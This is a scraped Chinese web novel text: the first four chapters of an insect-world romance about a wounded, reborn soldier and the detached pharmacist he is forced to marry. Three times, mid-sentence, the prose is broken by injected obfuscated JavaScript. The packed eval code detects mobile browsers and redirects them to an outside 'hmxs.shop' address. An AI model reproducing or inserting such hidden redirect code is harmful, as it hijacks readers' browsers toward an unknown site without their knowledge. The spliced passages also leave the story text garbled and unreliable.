《救赎系雄虫,但是被攻》 1. 重生 第一章 “这就是我匹配到的雌虫吗?”一个平静温和且疏离的声音,全然陌生,就这样自然地在耳边响起。 仿佛平静的水面突然被打破,几乎在疼痛中被完全打碎的意识挣扎着浮起,艰难地消化着这简单的一句话。 匹配……? “报、抱歉……”是雌虫的声音,算不上熟悉,但似乎是什么可以信任的对象。 ……啊,他原来还有可以信任的人吗? 这个意识艰难却平静地想。 “您的匹配对象就是……这位。与他相关的信息已经发送到您的光脑上了。” 雌虫停顿一下,纠结之后还是选择开口:“雄子阁下,如果您真的不想要他的话——您知道的,还有一次匹配机会……” 雄子总是被优待的存在,而这样的言语在被说出时显得冷漠,可其实也是在为自己的同伴争取。 在一个不愿意接受他的雄子身边生活、生存,或者并不比没有雄子要好。 尤其这位雄子的地位……即使雌虫并不真正了解,但是发现自己甚至没有亲自送虫到他身边去的权限、就连结婚这样的事情也只能线上联系的时候就已经从另一个层面上明白了。 雌虫到现在甚至都不知道自己到底在哪里,哪怕现在进行的只是线上联系。 “不必了。”他感觉到有一只手放到自己的脸上微微蹭了蹭,微凉而细腻的触感,柔软的指腹或者可以算是某种温柔。 哪怕是已经称得上亲昵的触碰,其中也没有任何他早已习惯了的羞辱或者品评意味,只是单纯的接触而已。 雄子声音很淡,说不清是无谓还是满意:“就他吧。” “好的,雄子阁下。”并不难听出雌虫声音里的如释重负,“……” 他似乎还说了什么,但是终于回忆起了艾利安已经听不见了。 最后一个念头也和他一起沉进无边的黑暗中。 【我的……雄主阁下?】 ……都是一样的。 …… 无法感知时间的冗长沉默。 过分熟悉的痛苦从四肢百骸流溢而出,雌虫仿佛经历了一场艰难的破茧重生,终于从深不见底的可怖黑暗中挣脱而出——第一眼却是治疗舱透明的封盖里倒映出的、自己棱角分明分外苍白的脸。 ……还有那双过分沧桑的、仿佛早已死去的眼睛。 那一瞬间仿佛是有某种尖锐的东西将他刺痛,还带着些许恍惚的雌虫垂下了那双猩红的、总被认为可怖的眼。 这是哪里?他为什么居然还活着? 本就浅淡的困惑此刻也只是短暂从脑中滑过,昏迷前的记忆缓缓浮现,灰发的雌虫抬眼,恍如隔世般再次看向倒影中甚至有些陌生的自己,终于看清了自己所处的现实。 他确实是已经死了,也确实还活着。 前世那样短暂,从变故重伤到失去能力地位结婚、再到最后在精神海碎裂的绝望痛苦中闭上眼,雌虫被“活着”的重担压得无力喘息、从来没想过自己居然还有重来一次的机会。 因为要在痛苦之中结束的生命开启了新的可能,仿佛过去所经历的所有不幸都是为了这一份不幸所付出的代价——可他并不为此感到高兴、快乐。 重来后的虫生对他来说并不是一条康庄大道,也无法让他能够凭着未来的记忆避开自己未来将会经受的苦难得到自己想要得到的一切。 反而是让他眼睁睁看着自己沉入深渊之中,一如前世般无能为力最后连惨烈都算不上地、毫无价值地死去的酷刑。 他将看着自己步入那早已体验过一次的苦难。 这一切如让绝症中痛苦而死者回到刚被确诊绝症时一般,只能称之为聊胜于无的“奇迹”。 ……这奇迹般的重来,难道就只是为了让他再品尝一遍前世已经品尝过的痛苦吗? 他并没有在自己的思绪中沉浸太久。 “艾利安?醒了?”清亮听不出多少情绪的声音响起,已经很久没有被这样呼唤名字的雌虫有一瞬的恍惚,“从里面出来吧,我不太方便搬动你。” 这声音……来自他未来的,雄子阁下。 只是一道平和过分的声音,此刻却让他终于无从逃避地意识到了已经有一个新的存在将他余生把控的残酷事实。 但毕竟,不是没有过这样的经历,最起码现在的他比那个时候要清醒得多,不是吗? “是。”艾利安沉静应声。 起身翻出了治疗舱,只从这利落的动作上来看,完全发现不了他是个重伤伤员。 经过治疗舱的治疗,身上的疼痛已经衰弱到了艾利安惯于承受的程度,相比生前的体验根本不值一提。 而对于最后死在精神海撕裂中的他来说,即使现在的精神力状态因为伤势以及来自未来的影响而恶化,却也到不了让他失态的程度。 这也算是雌虫特有的疼痛耐性吧。 只是更多的时候,这种耐性会在并不体面的事情上派上用场。 进入治疗舱治疗时不能有杂物,所以一旁一边看资料一边等雌虫出来的青年抬头,猝不及防看到了一具赤裸的身体。 “?”对方有些奇怪地歪了歪头,看着艾利安古井无波一般的神情,瞳中带出些许困惑。 艾利安只是安静地垂眼,似乎并没有发现自己身上的异常。 赤裸的身体骤然暴露在视线中自然会让他感到不适,本能的羞耻,艾利安不过是出于某种“经验”刻意压制了自己的反应。 他希望对方能对此有所反应,但又希望没有。 不过事情总算没有往他所想的最坏方向发展,雌虫只看到雄虫的视线微微一顿,接着仿佛确认什么一般从他身上还在渗血的伤口、此起彼伏的疤痕上划过,最后只是看不出什么特别情绪、自然指示性地往旁边一落: “衣服在那里,治疗舱对你身上伤口的效果有限,你自己包扎一下吧。” 在雄虫打量自己的时候,艾利安也抬眼快速观察了一番这位雄虫。 是并不曾出现在他前世的记忆中、全然陌生的雄虫。 整个虫身形纤瘦、神清骨秀,琥珀般的眼睛沉静通透,黑色的短发打理得非常清爽利落。 他在艾利安属于雌虫的感知中有着纯净和缓、更类似草木的气息,攻击性并不强,甚至直觉令虫本能地想要靠近,也许是宝石种的特性。 碧玺,或者翡翠? 只从第一印象来说,对方并不像是什么会随意伤害虫的类型,只是疏离不在意他者,专注于自己的世界而并不为外物外虫所动。 像一株草木,只是自顾自生长,天晴了就晒太阳,落雨了就吸饱水,从来不在意从他身边经过、仰赖着他果实与荫蔽的动物。 艾利安用了两秒时间消化他说的话……这其实应该才是更重要的事情。包扎伤口。 这算是一种友好的表现吗?还是陷阱上面撒着的蜜糖。艾利安带了一点迷茫的困倦,安静地想。 但不管怎么说,雄虫疏离但平和的反应还是勉强给因为变故还处于类应激状态的雌虫带来了些许安抚。 他低低应了一声,支配着这具已经有点陌生的身体走到对方示意的方向,熟练地给自己做起了包扎。 过分安静的环境,几乎没有对他输入的新信息,偏偏有熟悉的痛苦和太过富有冲击力的变故……雌虫的思想在自己没有意识到的时候非常地扩散,甚至并不受他自己的控制。 他在想: 起码对方展现出了要处理他身上伤势的意思,并没有因为他过分严重且几乎没有可能治愈的伤势而完全放弃他的意思。 他不明白自己会期待什么样的未来、或者说也不觉得自己还能拥有什么想要的未来,但起码不会去期待自己全新的雄主依旧是个虫渣,非要自己再次陷入那个深渊才能证明什么一般的偏执。 包扎对他的伤口愈合没什么大用,不过多少能尽量避免细菌感染一类的情况出现,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990940|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能营造一个相对来说更适合伤口恢复的小环境,聊胜于无的处理。 最多,也就是降低伤口被误触的可能、让他所忍耐的痛苦稍微减少那么一点而已。 ……所以,对方知道吗? 而另一边,雄虫在他动作时就已经收回了目光,在终端上简单操作了一下便继续研究手上的资料,一副对他的所有行为都不甚在意的模样。 平淡地保持了距离,完全不像是对自己雌君的态度,可这样的反应反倒让艾利安稍微放松了一点警惕。 对他来说,莫名的热情是比冷漠更应该警惕的东西。 艾利安的动作很快,毕竟包扎伤口本来就是一个军雌必须要掌握的技能、他也很熟练,现在虽然是在雄子的身边、多少带着些紧张地做全了每个步骤,还是慢不到哪里去。 然后才是穿上衣服……依旧赤裸的艾利安一眼就看出这套衣服不属于自己,反倒更像是从这位自己并不认识的雄子衣柜里翻找出来的。 虽然尽量选了宽松的款式,但因为两虫之间过分明显的体型差异还是有些不太合身。 不过这对他来说也已经足够了,起码这位雄子在似乎条件有限的情况下为自己准备了衣物、并没有真的要他赤身活动的意思—— 当然,也有可能是自己刚才给出的反应并没有让他提起兴致,这才让雄虫放弃了在这种事情上戏弄他的想法。 结果是好的。所以不必纠结中间到底发生了什么。 更不要细究这一切之下有着什么样的暗潮汹涌。 这位雄虫追求的显然是舒适柔软,这让穿习惯了军装以及后面不适衣物的艾利安有些不习惯。 但舒适这种感受到底不是什么负面的东西,他努力催眠自己不要在意这种事情。 反正穿好了…… “好了?”雄虫仿佛一直都在关注着他一般恰到好处地抬起头来,“你知道自己现在的情况吧?” 像是明知故问……只是以他之前昏迷的状态,有些沟通确实是有必要的。 起码这只雄虫,他认为这是有必要的。 缓慢地咀嚼着这短短的一句话,艾利安尝试从每一个细节中窥见对方的真实。 哪怕自己包括生命、灵魂在内的一切都已经成为了被他完全掌握的东西,他依旧用一种足够平和的态度对待他——不像对自己的雌君或者雌侍,反倒像是对一个被自己意外救起的陌生虫族。 当然,也不能算陌生,毕竟签订婚契时,雄子会被强制要求查看雌虫的重要信息、确认其了解自己婚姻对象后才能签字。 而在匹配的婚姻成立后,雌虫的所有资料更是会被全部打包送到雄子的光脑里,后者不提,对方既然已经“签收”了自己,那最基础的信息总是知晓的。 ……最基础的,信息。 比如说,自己是个废物这件事。 他的思绪在这里轻缓地一顿,以一种以纯然痛苦堆叠淬炼出来的敏锐,终于“理解”了对方藏在这一派罕见的表面温柔中,过分隐晦的冷漠。 其实这意思已经很明显了,他想。只是自己之前一直都没有真正清醒而已。 有些事情确实只有“清醒”的他可以完成。 “……嗯。”冷硬雌虫声音里还带着一点哑——可他抬眼与雄虫对视,用与他艰涩声音截然相反的流畅说出了能够将自己推进地狱的话。 “多谢您提供的帮助,只是我身已残败,恐怕不配成为您的雌君——希望。能解除您与我之间的婚姻关系。” ——雄子拒绝强制匹配的次数是有限的,而温柔美好、有着光明前路的雄虫,不该被一只丑陋的废虫困住一生。 没有军衔,没有异禀,失去了几乎所有能力,甚至还需要对方花费精力去做根本无用的精神安抚的废物。 所以……是我不识好歹,主动向这位仁慈的、被迫与低劣惨败的军雌结婚、即使受此屈辱却还是选择了救助濒死“伴侣”的雄子阁下,提出解除婚姻关系。 2. 婚姻 第二章 进入强制匹配的年龄不过短短两个月,西尔万就拥有了自己的雌虫。 被自家智脑紧急从研究室拉出来,看着签字后被发到光脑里的雌虫详细资料,雄子陷入了微妙的、尴尬沉思。 ……联邦这个成年包分配老婆的制度,终于还是覆盖到他身上了吗。 果然,主脑是不会和他讲道理的。 军雌,艾利安,原双S级现B级,联邦军部少将,宝石种。 因精神力等级过高长期无精神安抚,这次身体遭受重创的同时还被新型病毒浸染,叠加直接导致精神力紊乱爆发身体崩溃阶位倒退。 几度濒死、连军部的医疗技术都无法进行有效治疗,不得不脱离战场。 ——然后就启动了强制匹配,成为了西尔万的预备雌虫。 甚至在婚姻契约还没有达成的现在,就已经被送到了他的面前。 雄子并没有在意屏幕另一端陪护虫的欲言又止,他伸手摸摸雌虫披散而下、闪烁着点点星辉的长长灰发,有点想叹气。 作为一个罕见的、到这个年纪依旧没有雌虫的雄子,独居西尔万确实已经到了被强制匹配的年龄。 只是现在联邦的强制匹配制度其实算得上虫性化,他本人没有婚姻意愿、也没有递交过相关申请,那以他的权限级别就基本不可能有雌虫强制匹配到他身上来—— 尤其以他的身份本来也不怎么会受到相关法律的限制,正常情况就是不会被这种事情干涉限制的。 结果就出现了艾利安这么个意外。 少将的权限级别、之前展露出来的强大能力、在开拓战役中重伤、再加上本虫除了这次事变外在雌虫中绝对排得上金字塔顶的条件,即使不至于在主脑的匹配制度中和自己持平匹配,但确实已经是最好的极个别了。 再加上符合强制匹配中未婚条件的雄虫确实少得可怕,基数太少,以至于他被强制匹配到的可能性居然确实很大。 总之,虽然说对方能在被“签收”之前就出现在自己面前这件事里面肯定有猫腻,但强制匹配制度本身却是完全物理性对外隔绝、不受控制的,对方成为自己配偶这件事,还真只是完全的机缘巧合。 有点麻烦的小意外,但西尔万倒也没想过直接退虫: 以现在的联邦制度以及自己的能力来说,养一只雌虫完全算不上什么大事,对对方来说,却只有自己才是唯一的希望。 精神海的暴乱加上身上严重的毒素,强制匹配这个机制启动本身也是对雌虫资源巨大的消耗,这个时候退婚和直接杀死对方也没有什么区别,甚至可能还是直接杀虫干脆些。 他自认为不算什么好心人,但也不至于要让一个身上带着自己微妙熟悉气质的雌虫就这样步入深渊。 这也就是他叹气的原因了——既然已经做出了把虫留下的决定,哪怕其他事情不管,要处理的后续也依旧是非常复杂,是不喜欢忙碌这种事情的西尔万一想到就不开心的程度。 而且这只已经送到自己的面前的虫,确确实实是个大麻烦啊…… 签字挂断陪护虫的通讯,顺便发两条消息彻查这件事,药师看着自己新上任雌虫的身体报告沉吟一会儿,先把他送进了治疗舱进行治疗—— 不管将来这段婚姻关系是否会一直续存,活着才是一切的前提。 不过简单诊断了过后,西尔万确定以对方现在的情况治疗舱的效果也不过是聊胜于无、解决一些浅表问题以及维持住身体状态保证伤势不加重,真要他好起来还必须把他身上的毒给解开。 这倒是西尔万会感兴趣的事情……但果然,还是等雌虫醒过来再说吧。 一时的心软和思量可不足够让他真的把虫留下。 · 昏昏沉沉、甚至没时间理清自己身上发生了什么的艾利安并不知道,在自己睁开眼的瞬间,一旁的雄子就向他的方向投来了视线。 ——主要还是对方的身体信息一波动他的智能管家就给他弹窗了。 心知对方的状态肯定好不到哪里去,青年只是给艾利安留出了一点思考的时间,又在他沉湎于某种不可知的痛苦中无法自拔之前打断了他的思绪。 然后就看到了直接赤-裸出现在自己面前的雌虫。 这肌肉还挺好的,胸锁乳突肌轮廓有点明显,皮肤这么白?伤口愈合的情况不太好……学医药学到看什么裸体都是一块肉,药师条件反射地在心里评价了两句,然后反应过来哪里不对: 欸?你就这么裸着出来了?还就这么光明正大地在我面前晃? 虽然自己见多了已经脱敏,但是一般虫还是会对完全暴露身体这种事情有羞耻心的吧?自认为在这方面的观念相当正常的西尔万有些困惑地想,这位雌虫好像有点冷静过分了。 还是说这也是训练中的一环? 点在屏幕上的笔尖微微一滑,西尔万歪着头,略带些探究意味的眼神对上了雌虫那鲜红如火却死寂如灰的眼睛。 美丽的,死寂的,冷淡的——连那么一点完全合理的观察审视意味都小心收敛的。 ……啊,原来是有在紧张的啊。 这样的反应,与其说是不在意,不如说是不敢展现出自己的在意、自己的弱点。 资料中,因为联邦雌雄数量比悬殊、本虫又是军雌,艾利安以前的虫生几乎没有在工作外因纯粹私虫因素接触过雄虫,属于非常正常的军雌。 可现在这副样子,却像是对雄虫这种存在有一种过分深入的、负面意义上的了解——甚至这种了解可能还有点落后了,现在联邦的性别处境可比没有十几年前那么极端。 收敛得已经算得上小心、简直像是生怕冒犯了他,但对方身上那种几乎是应激性的高度防备依旧没有逃过西尔万的眼睛,他看得甚至可能比艾利安自己都透彻。 虽然对情绪的感知算不上敏感,可艾利安这种情况倒也算得上特殊。 西尔万心中已经有了猜测,但也只是猜想。 对方几乎还在警惕地观察、调整自己的状态,他于是干脆就这样简单视诊了一番对方身上的伤口——然后,并不意外地发现那些泛着奇异珍珠光泽的血肉伤口和进入治疗舱之前相比几乎没有任何变化。 一般来说雌虫的恢复力没那么差、治疗舱配合药剂的效果也足够强大,轻点的甚至能在战斗过程中完成自愈,只要没有特殊情况,哪怕是深可见骨的伤口一波治疗之后也该差不多了。 然而艾利安的情况并不简单,除了精神海力量反向影响身体以外,他伤口浸染的毒素也不是目前已经被研发出来的药剂能解决的,这才有了他身上过分显眼、迟迟不肯愈合的伤口。 以侵蚀腐蚀同化神经来抑制自愈能力乃至实现降低肉-体等阶、甚至能反向影响到精神海的神经类毒素— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990941|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — 从结果来看倒是非常符合军部递交到他这边来的毒素特性,其针对性之强简直像是为对付雌虫而专门研发出来。 不过看资料研究了这么久,西尔万都没有发现这毒素中有虫为影响的痕迹,反倒更符合生物进化的规律,像是对面因为被军雌杀得太猛而反向进化出来的产物。 甚至有那么一点可能是在和虫族厮杀的时候被血液基因污染了。又或者是在另一个层面上的超凡影响。 总之不是什么短时间内能解决的问题……这样想着,西尔万打断了对方再深入可能有就有些不妙的思索——现在还是先穿上衣服、包扎一下伤口吧。 不继续关注……倒也不是因为完全不在意,只是看雌虫这个样子,显然不太能接受他的“关心”。 西尔万直觉自己要是稍微多做点什么对方真的会应激——精神状态这么紧绷,同样的不妙,合理怀疑有心理或者神经问题——之前他估计真的经历了很多不妙的事情,就是不太能确定具体是个什么情况。 反正包扎对伤口来说其实也不重要,先给他留点私虫空间冷静一下。尤其也不能这么一直裸着。 但是,自觉和对方进行的是正常对话的西尔万想,艾利安好像没那么容易冷静。 问询的内容对西尔万来说非常常规,短时间内他并不准备解除两虫之间的婚姻关系,所以最基础的交流还是有必要的,起码要确定一下对方的自我定位认知一类的。 ——解除关系乃至处理掉艾利安对他来说都算不上困难,而即使是艾利安这样的雌虫,在一段婚姻中也依旧处于绝对劣势,所以西尔万可以完全按照自己的偏好行事。 他留下艾利安,一半是好心,一半则是为了对方身上值得研究的毒素和伤势,还有那么一点细枝末节可以说是个“虫情”问题(毕竟之前已经反复提到了能把虫送到他这边来并不简单)。 但这些对他来说并不是什么具有绝对分量的理由,如果交流中雌虫表现出了某种令自己厌恶的特质的话,这些东西还不够让他委屈自己。 哪怕只是找个同居室友也总会有点要求,更何况现在这个情况完全可以说是自己医者仁心收留了对方,西尔万觉得自己要求高点完全不是什么问题。 不过他自认为是个虽然很难取悦、但也并不容易对虫产生厌恶之情的虫,所以除非艾利安真的对他表示排斥,或者性格中有他异常排斥的部分,不然这段对话的结果就是非常明显的了。 但是……这就直接解除婚姻关系吗? 其实要理解对方的逻辑并不难、西尔万对联邦的雌雄略显凶险的处境也有所了解、并不会因为对方的权衡利弊以己度虫而生气,更不要说他多少对这艾利安这种显然有心理创伤的类型有些包容。 可这副表情,你到底都听懂什么了啊…… 感觉自己也被当成了渣虫呢。奇怪的经历增加了。 因为实在奇妙,也是第一次经历,西尔万甚至说不上有多么生气,只是微妙的惊叹以及好奇。 对于艾利安经历的好奇……以及,差不多已经可以肯定的某种猜测。 “嗯……”青年看着面前多少有些衣衫不整、平静过分神情中依旧能看出几分回避的雌虫,缓缓歪了歪头,“你可能理解错了我的意思。” 也可能……根本就没冷静下来呢。 ……本能都是这种回避式防御呢。 3. 玄络 第三章 “……”自己之前那一句话能表达的东西已经足够多了,此刻的艾利安只是安静地等待,等待着甚至都还不知道名字的对方对自己做出“解释”。 “你应该发现了,我是个药剂师,专注研究。婚姻对我来说完全就是计划之外的事情。” 西尔万慢条斯理地把事情摊开来说——面对对方这种情况显然还是直接点好,反正他也不要求自己的病虫对自己有什么好感,只要不要一直摆出这样一副过分警惕、生怕他干出什么“意料之外”的事情的样子就好了。 精神紧绷对身体和精神力都不好,他也不想一直都还要“照顾”对方的情绪问题心理问题。 “雄虫超过二十二岁本来就会被强制匹配雌虫,我也算有所准备,你的出现是意外、可不算讨厌,再加上你身上很有研究价值的新型毒素,我不介意你留下成为我的雌君。” 施舍般、或者还有些勉强的语气,听在艾利安耳中却异常合理。 毕竟,对雌虫来说甚至能决定自己未来一生的婚姻,对雄虫来说也只是一场低投入低风险高回报的投资而已——只要在必要的时候控制住自己,最差也就是失去一部分雌虫带来的财产。 他们可以在雌虫的海洋中恣意挑选又弃掷逦迤、所需要付出的东西不值一提,雌虫却只有一次机会、把自己的一切押上赌桌,如果选错了虫,未来可能会比直白的死亡更痛苦。 但也正因为这两虫都知道的社会潜规则,西尔万的“好心”才拥有了说服力。 生来处于高位的他有资本去好心,又有那么一点不是无法处理只是实在麻烦的小困扰,所以当可以解决问题、身上还有可以吸引他的地方的艾利安恰到好处地撞上来的时候,便应这个巧合而得到了他的“优待”。 对于早就已经明白了这些道理的艾利安来说,西尔万言语中只是天然但并不含攻击性的傲慢意味完全算不上冒犯、也不至于不适: 他听懂了对方的意思,除了对方懒得应付或者马上就会接踵而来的强制匹配对象以外,更重要的应该是自己身上的毒素。 身为药剂师的雄子想让自己成为他的实验体——不知道是不是精神力受损太过严重,雌虫异常艰难地从自己零碎混乱的记忆里找出关于“药剂师”的信息。 之前艾利安的言行已经体现出了他在各种意义上的成熟、甚至都可以说有些过于了解世情了(虽然落后了一个版本?)。 所以雄子显然也不觉得自己需要说得多明白、把一场似乎温柔的婚姻内里解析得有多冰冷,他只是转而直白地问雌虫:“所以你要留下吗?” 以他雌君的身份——虽然只是暂时。 见艾利安仍在思索什么一般地沉默,药师简直是有点过分贴心地补充,“如果你一定要解除婚姻关系的话,我可以抹去你这段婚姻经历,另外提一下你的权重。” 以他的权限等级,在强制匹配的婚姻没有超过一定时间前,确实是可以做到抹去痕迹的——只是一般情况下不会这么做而已。 权重调配则是特权的一部分,一直存在但是一直用不上,用在艾利安身上就是单纯好心加上避免浪费了。 毕竟对他来说是不值一提的事情,对雌虫来说却可能是唯一的希望,对方怎么说也是个军雌,哪怕只是思及他为联邦所立下的战功,西尔万也不至于吝啬到这个程度,更别说事情背后还有得是其他影响因素了。 虫都已经签收了,不管是考虑对方的才能潜力、做个小小的投资,还是考虑到军雌的身份只当是一场偶然的慈善,对西尔万来说都不是什么困难的选择、无需做出巨大的投入。 他手下完全没有回报的慈善项目其实也算不上少。只是面前这个格外特殊而已。 艾利安:…… 其实沉默只是在努力回忆关于药剂师的信息,艾利安没时间在这个似乎与他前世有所区别的职业上深究,很快就理解了西尔万的逻辑。 上位者的游刃有余在面对下位者时会转变成一种宽宏。 但实际上只是因为资源的丰沛、内心的丰足、思想的广饶。 因为资源的丰沛,所以这样的帮助对他来说也只是举手之劳,拥有整颗星球的虫不会在意星球上的一棵小草; 因为内心的丰足,他愿意主动对他这样全然陌生、既无感情价值也无利益关系的雌虫提供帮助; 又因为思想的广饶,他能意识到雌虫的处境、他正需要些什么,并不因自己的强大而轻视弱小者。 但到底得到“优待”的虫还是自己,艾利安无法做一个心安理得接受它虫付出的虫:“多谢您的仁慈。我当然愿意接受您的帮助。” 不把雄虫当雄夫,只当成提供帮助的陌生虫,似乎会感觉好很多。 他确实很清楚自己身上所发生的一切,哪怕这一世匹配到的雄虫发生了一点……好吧很大的变化,可在这个重要事件的前情上,似乎和他前世所经历的一切都完全相同,像是某种可悲可叹的命中注定。 等阶,战功,关系,所有能被自己支配使用的筹码都以计划之外的关系消耗殆尽,所以越是清楚自己或主动或被动做出的交易结果,就也越发笃定自己未来的无望。 伤势、毒素,还有……婚姻,都是构成他如今对未来过分消极看法的成因。 他甚至对自己这辈子为什么会匹配到一个和前世完全不同的雄虫这件事毫无探究欲—— 或者和药剂师的存在有什么联系吧、前生今世最显著的差异就是这一点了——毕竟在他看来,都是雄虫,便也都是深渊。 在短暂的时间里,艾利安用一种仿佛真的抽离于这个世界、这具身体、自己惨烈的过去的心平气和这样想过,其实也还有默默记下雄虫对自己的帮助、不过和对自己未来没有期待一样、他也不觉得自己真的能做到自己想要给出的“报答”。 或者这位雄虫会愿意给他做精神安抚、让他能过得稍微舒服一点,不至于在那么短的时间里就死于衰竭——但这并不等于这样活着就是什么好事。 或者说对于现在的他来说只要是“活着”,本质上就意味着痛苦,沉没在泥沼中的虫再如何挣扎也不过是延长了死前经历痛苦的时间,结果都是绝望溺亡。 他没办法去汲取所有可能美好的可能性、那些可能性即使想到也会轻易打碎,他只能看到黑暗。 比如说,他记下了对方还提供的帮助,本来也不是什么不记恩的性格,但如果对方过分轻易就为他提供帮助,他自然会为此感到警惕、不知又是想要图谋自己身上的什么。 滴水之恩涌泉相报对他来说是应有之义,但他却不得不做好对方一开始就是为了施恩算计与他、又或者想通过这种方式控制他玩弄他的准备。 这不是不可能,他前世的雄主不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990942|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这样的虫,但他确实接触过用这种方式恶劣玩弄雌虫的心、又或者用这种方式来榨取雌虫价值的雄虫,面前虫未尝不会是其中之一。 他们的恶意层出不穷,具有强大到可憎的想象力。 联邦给予雄虫的特权则是让他们肆无忌惮地将那些想法付诸实践,这些都是艾利安亲身经历或者见证过的事情。 所以他平等地否定每一只雄虫,不吝于以最坏的想法揣测对方,那都是虽说短暂但已经足够不堪的前世过去给他留下的血泪教训。 而现在,事情似乎比他所想的最坏的可能要好一点。 但这是真的吗?他咀嚼着此刻似乎光明的可能性,舌根泛起了熟悉的苦涩意味。 算了,不要再想这些了,长久的折磨和绝望的死亡果然还是给他留下了一些阴影,可不管未来如何,他不能把这种状态继续下去。 毕竟他还活着,毕竟他已经因为某些自己并不知道的原因回到了过去,而既然事情还没有发展到最坏的那一步,就总还有希望。 ……也许。 某些类似于期待的东西从他的心中艰难地发芽,又如雾般、在太阳的照耀下轻易散去。 妄图做出某些挣扎的艾利安发现自己过于轻松地做好了成为实验体的心理准备。 在身上的毒素面前,肉-体上的疼痛,不会比精神上的折磨更难承受……不是吗? “啊……”西尔万轻轻弯了弯眉眼,嗯,起码还能接受帮助? 他并没有非要改变对方对自己、或者说对雄虫这个群体刻板印象的意思,只是重新开始了之前的对话。 “你知道自己现在的处境吗?”他重复道。 艾利安自认为清楚,但既然对方这么问了:“愿闻其详。” “……你先做个自我介绍吧。”西尔万心下有些微妙的无奈,虽然不要求也不需要对方对他完全放下戒心,但继续这么警惕也是不行的——所幸一个药师不会缺乏耐心。 起码面前的存在是他感兴趣的素材不是吗? 所以西尔万愿意用现在这样算得上平和包容的态度去对待他,这对他本来也算不上什么牺牲。就像曾经为了一株药材费尽九牛二虎之力一样。 便如艾利安所想,上位者的从容。 因为有足够的余裕,便能在某些自己并不在意的事情上展现出十二分的宽容。 不过也是因为艾利安只是内敛,并不冒犯,所以他只是无奈,并不排斥。 至于后续……就看他的耐心持续时间和对方的能力和价值吧。 “……我是,艾利安(Arian),蛛形纲蜘蛛目……黑曜石种,军雌,二十七岁。” 艾利安对自我介绍实在算不上熟悉,也不明白明明应该已经从资料中把他了解透彻的雄子为什么还需要他自己提供的信息。 根本不在意所以没有看吗?还是某种服从性测试?——他这样几乎本能地用恶意去揣测对方,好像只有这样才能得到一点微不足道、甚至有点可笑的安全感,完全扭曲的舒适圈。 ……可在这种几乎已经令他感到陌生的平和宁静的交流氛围中,他还是按照曾经在作战小队中所做的、自己明明应该足够熟悉的那样,略显僵硬地开口做了“自我介绍”。 甚至还拓展了一点。 “擅长潜伏暗杀、探查情报、指挥作战……营养学、建筑学等。” 4. 年龄 第四章 虫族中,个虫信息中被独立出来或者被着重强调的“种”一般所指的是“宝石特性”,是涉及超凡的、对虫族来说极其重要的一部分。 分化出宝石特性的虫会脱离部分原种族特性的桎梏、从属为起点,开始模糊界限融合部分其他相近种族的优势项,增加、优化一部分大概可以被定义为幻想种的特性。 而这类虫被统称为“宝石种”、属于不同的宝石类目下的“宝石脉”,是特殊的、脱胎自血脉又超脱于血脉的“天赋”,是虫族向着幻想种进化的方向。 到目前为止,能成功度过一次分化的雄虫全部都是宝石种,而雌虫只有精神力在B级以上有可能觉醒为宝石种——这进一步说明了精神力的重要性,并成为了构成雄虫不可动摇地位的一部分。 不同的宝石种会在觉醒后开发出不同的特异、特长、乃至异禀,比如说擅长隐匿的月光种,植物亲和的碧玺种,对光线高度敏感的猫眼种,体质极强的钻石种等。 (宝石具体种类在平时称呼时一般会去掉“石”乃至“种”、将宝石名用别称代替作为简称,全称用于严肃场合或者书面语,艾利安之前用的是半全称。) 作为特性偏向于攻击的黑曜种,曾经体质精神高达S级、被判定为定然还能往上攀登乃至有着成为天枢裔潜能艾利安常规担任的是极限单兵、特密机动小队成员的角色。 同时,蜘蛛目的个虫特质在经过双重强化以及后天开发后具体成了大概效果为“网”的异禀,只要给他“织网”的条件,他所能控制、捕获的东西往往超乎普通虫的想象。 这些才能,便是他作为联邦统一养育幼虫、没有家族作为支撑,却能在这么年轻的年纪成为少将、攒下足够启动强制匹配的战功的原因。 他在各种层面上都有着超虫的能力——虫族的社会规则冰冷酷烈,实力才是唯一的真理。就连“关系”也只会在能力达标时起到一个助推的作用,其根本还是在于自己的强大。 除了战斗、军事相关能力以外那最后几句的部分,属于种族特性以及个虫爱好延申。 实际上这短短的几个字能加上去就已经是艾利安考虑到自己面前的不是战友说话也不是作战计划而绞尽脑汁的结果,显得有些干巴也是没有办法的事情。 还是那句话,他没有相关的经验,曾经也根本不需要他去做这些事情。 至于那些已经掉落的等级、无法再使用的能力……已经全然无用的过往荣耀,他无论如何无法出口。 不过西尔万也不会在这种类似破冰的对话上对他有什么特殊的要求,他只是点了点头,转而介绍了一下自己: “我是西尔万(Sylvain),具体称呼你自己看着来。” 